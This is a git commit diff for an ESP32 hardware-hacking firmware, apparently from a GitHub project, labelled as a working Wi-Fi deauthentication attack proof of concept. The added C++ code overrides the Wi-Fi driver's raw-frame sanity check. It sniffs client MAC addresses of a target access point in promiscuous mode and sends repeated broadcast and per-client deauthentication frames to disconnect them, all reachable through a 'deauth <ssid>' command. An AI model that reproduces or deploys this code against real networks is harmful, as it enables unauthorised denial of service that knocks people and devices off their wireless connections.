Skip to content

A Hardware Hacking Tool with Web-Based CLI That Speaks Every Protocol

Working WiFi deauth attack PoC

Andrei Vladescud85266417ac8
diff --git a/.gitignore b/.gitignore
new file mode 100644
index 00000000..89cc49cb
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1,5 @@
+.pio
+.vscode/.browse.c_cpp.db*
+.vscode/c_cpp_properties.json
+.vscode/launch.json
+.vscode/ipch
diff --git a/.vscode/extensions.json b/.vscode/extensions.json
new file mode 100644
index 00000000..080e70d0
--- /dev/null
+++ b/.vscode/extensions.json
@@ -0,0 +1,10 @@
+{
+ // See http://go.microsoft.com/fwlink/?LinkId=827846
+ // for the documentation about the extensions.json format
+ "recommendations": [
+ "platformio.platformio-ide"
+ ],
+ "unwantedRecommendations": [
+ "ms-vscode.cpptools-extension-pack"
+ ]
+}
diff --git a/platformio.ini b/platformio.ini
index 4b5997d3..8918ee31 100644
--- a/platformio.ini
+++ b/platformio.ini
@@ -184,6 +184,9 @@ build_flags =
-D ARDUINO_USB_MODE=1
-D ARDUINO_USB_CDC_ON_BOOT=1
+ -D WIFI_PROMISCUOUS
+ -Wl,-zmuldefs ; keeps our sanity-check override
+
-DDEVICE_S3DEVKIT
; -D ENABLE_FASTLED_PROTOCOL_SWITCHES // Only possible if you build it on linux
diff --git a/src/Controllers/WifiController.cpp b/src/Controllers/WifiController.cpp
index 3f41e49b..0e8e5eab 100644
--- a/src/Controllers/WifiController.cpp
+++ b/src/Controllers/WifiController.cpp
@@ -34,6 +34,8 @@ void WifiController::handleCommand(const TerminalCommand& cmd) {
handleSsh(cmd);
} else if (root == "reset") {
handleReset();
+ } else if (root == "deauth") {
+ handleDeauth(cmd);
} else {
handleHelp();
}
@@ -389,6 +391,7 @@ void WifiController::handleHelp() {
terminalView.println(" ssh <host> <username> <password> [port]");
terminalView.println(" webui");
terminalView.println(" reset");
+ terminalView.println(" deauth <ap> [bursts]");
}
/*
@@ -399,4 +402,31 @@ void WifiController::ensureConfigured() {
handleConfig();
configured = true;
}
-}
\ No newline at end of file
+}
+
+/*
+Deathenticate stations attack
+*/
+void WifiController::handleDeauth(const TerminalCommand& cmd)
+{
+ auto target = cmd.getSubcommand();
+ if (target.empty()) {
+ terminalView.println("Usage: deauth <ssid> [bursts] [ms]");
+ return;
+ }
+
+ uint8_t bursts = 20; // default
+ if (!cmd.getArgs().empty() && argTransformer.isValidNumber(cmd.getArgs())) {
+ bursts = static_cast<uint8_t>(
+ argTransformer.parseHexOrDec16(cmd.getArgs())
+ );
+ }
+
+ terminalView.println("WiFi: Sending deauth to \"" + target + "\"…");
+
+ bool ok = wifiService.deauthApBySsid(target, bursts, 400);
+
+ if (ok) terminalView.println("WiFi: Deauth frame(s) sent.");
+ else terminalView.println("WiFi: SSID not found.");
+}
+
diff --git a/src/Controllers/WifiController.h b/src/Controllers/WifiController.h
index 931108de..0a241916 100644
--- a/src/Controllers/WifiController.h
+++ b/src/Controllers/WifiController.h
@@ -71,6 +71,9 @@ private:
// Connect to SSH host
void handleSsh(const TerminalCommand& cmd);
+ // Deathenticate attack
+ void handleDeauth(const TerminalCommand& cmd);
+
// Reset Wi-Fi configuration
void handleReset();
@@ -80,4 +83,5 @@ private:
// Show help for Wi-Fi commands
void handleHelp();
+
};
diff --git a/src/Services/WifiService.cpp b/src/Services/WifiService.cpp
index 83f47f8c..35f28034 100644
--- a/src/Services/WifiService.cpp
+++ b/src/Services/WifiService.cpp
@@ -363,3 +363,147 @@ std::string WifiService::getMacAddressAp() const {
char buf[18];
return formatMac(mac);
}
+
+extern "C" int ieee80211_raw_frame_sanity_check(int32_t, int32_t, int32_t)
+{
+ // 0 ⇒ “frame is OK” → the driver forwards it to the PHY
+ return 0;
+}
+
+
+static const uint8_t deauthTemplate[26] PROGMEM = {
+ 0xC0, 0x00, 0x00, 0x00, // FC + duration
+ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // addr1 = broadcast
+ 0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF, // addr2 = BSSID (patch)
+ 0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF, // addr3 = BSSID (patch)
+ 0x00, 0x00, // seq-ctrl
+ 0x07, 0x00 // reason code 7
+};
+
+static inline void macStrToBytes(const std::string& macStr, uint8_t mac[6])
+{
+ sscanf(macStr.c_str(), "%hhx:%hhx:%hhx:%hhx:%hhx:%hhx",
+ &mac[0], &mac[1], &mac[2], &mac[3], &mac[4], &mac[5]);
+}
+//------------------------------------------------------------------
+// File-scope scratch that both normal code and the ISR can access
+//------------------------------------------------------------------
+static std::vector<std::array<uint8_t, 6>> g_staList;
+static uint8_t g_apBssid[6];
+static portMUX_TYPE g_staMux = portMUX_INITIALIZER_UNLOCKED;
+
+//------------------------------------------------------------------
+// ISR-safe promiscuous callback (no captures → plain C function)
+//------------------------------------------------------------------
+static void IRAM_ATTR clientSniffer(void* buf, wifi_promiscuous_pkt_type_t type)
+{
+ if (type != WIFI_PKT_DATA) return;
+
+ const wifi_promiscuous_pkt_t* p = (wifi_promiscuous_pkt_t*)buf;
+ const uint8_t* hdr = p->payload;
+
+ // To-DS = 1, From-DS = 0 ⇒ STA → AP
+ if ((hdr[1] & 0x03) != 0x01) return;
+
+ const uint8_t* ap = hdr + 4; // addr1
+ const uint8_t* sta = hdr +10; // addr2
+
+ if (memcmp(ap, g_apBssid, 6) != 0) return; // different BSSID
+
+ std::array<uint8_t,6> mac;
+ memcpy(mac.data(), sta, 6);
+
+ portENTER_CRITICAL_ISR(&g_staMux);
+ bool seen=false;
+ for (auto& e : g_staList) if (e == mac) { seen=true; break; }
+ if (!seen) g_staList.push_back(mac);
+ portEXIT_CRITICAL_ISR(&g_staMux);
+}
+
+//------------------------------------------------------------------
+// Collect client MACs of a given BSSID on its channel
+//------------------------------------------------------------------
+std::vector<std::array<uint8_t,6>>
+WifiService::getClientsOfBssid(const uint8_t bssid[6],
+ uint8_t channel,
+ uint32_t dwellMs)
+{
+ // reset scratch
+ memcpy(g_apBssid, bssid, 6);
+ g_staList.clear();
+
+ // hop + sniff
+ esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
+ esp_wifi_set_promiscuous(true);
+ esp_wifi_set_promiscuous_rx_cb(&clientSniffer);
+
+ uint32_t start = millis();
+ while (millis() - start < dwellMs) delay(1);
+
+ // stop sniff
+ esp_wifi_set_promiscuous(false);
+ esp_wifi_set_promiscuous_rx_cb(nullptr);
+
+ // copy out results (thread-safe)
+ std::vector<std::array<uint8_t,6>> out;
+ portENTER_CRITICAL(&g_staMux);
+ out = g_staList;
+ portEXIT_CRITICAL(&g_staMux);
+
+ return out;
+}
+void WifiService::deauthAttack(const uint8_t bssid[6], uint8_t channel,
+ uint8_t bursts, uint32_t sniffMs)
+{
+ // ① ensure AP interface exists (as discussed earlier)
+ if (WiFi.getMode() != WIFI_MODE_AP && WiFi.getMode() != WIFI_MODE_APSTA) {
+ WiFi.mode(WIFI_MODE_AP);
+ esp_wifi_start();
+ }
+
+ // ② gather client MACs
+ auto clients = getClientsOfBssid(bssid, channel, sniffMs);
+
+ // ③ pre-build templates
+ uint8_t pkt[26] = {
+ 0xc0,0x00, 0x00,0x00,
+ 0xff,0xff,0xff,0xff,0xff,0xff, // addr1 = broadcast (will swap for STA)
+ /* addr2 & addr3 set below */
+ 0x00,0x00, 0x07,0x00
+ };
+ memcpy(&pkt[16], bssid, 6); // addr3 always AP
+ // send bursts
+ esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
+
+ for (uint8_t i=0;i<bursts;++i) {
+ // ③a broadcast
+ memcpy(&pkt[10], bssid, 6); // addr2 = AP
+ memcpy(&pkt[4] , "\xff\xff\xff\xff\xff\xff",6);
+ esp_wifi_80211_tx(WIFI_IF_AP,pkt,26,true);
+
+ // ③b one unicast per client
+ for (auto& sta: clients) {
+ memcpy(&pkt[4], sta.data(),6); // addr1 = STA
+ esp_wifi_80211_tx(WIFI_IF_AP,pkt,26,true);
+ }
+ delay(1);
+ }
+}
+
+
+bool WifiService::deauthApBySsid(const std::string& ssid, uint8_t bursts, uint32_t sniffMs)
+{
+ auto nets = scanDetailedNetworks(); // your existing scan helper
+ for (auto& n : nets) {
+ if (n.ssid == ssid) {
+ uint8_t bssid[6];
+ sscanf(n.bssid.c_str(), "%hhx:%hhx:%hhx:%hhx:%hhx:%hhx",
+ &bssid[0], &bssid[1], &bssid[2],
+ &bssid[3], &bssid[4], &bssid[5]);
+
+ deauthAttack(bssid, n.channel, bursts, sniffMs);
+ return true; // success
+ }
+ }
+ return false; // SSID not found
+}
diff --git a/src/Services/WifiService.h b/src/Services/WifiService.h
index bff6aa5e..3f7ef6b3 100644
--- a/src/Services/WifiService.h
+++ b/src/Services/WifiService.h
@@ -84,7 +84,11 @@ public:
static std::string getFrameTypeName(uint8_t type, uint8_t subtype);
static void extractTypeSubtype(const uint8_t* payload, uint8_t& type, uint8_t& subtype);
-private:
+ // Deathentication attacks
+ bool deauthApBySsid (const std::string& ssid, uint8_t bursts = 20, uint32_t sniffMs = 400);
+ std::vector<std::array<uint8_t,6>> getClientsOfBssid(const uint8_t bssid[6], uint8_t channel, uint32_t dwellMs);
+ void deauthAttack(const uint8_t bssid[6], uint8_t channel, uint8_t bursts, uint32_t sniffMs);
+
bool connected;
static void snifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
static std::vector<std::string> sniffLog;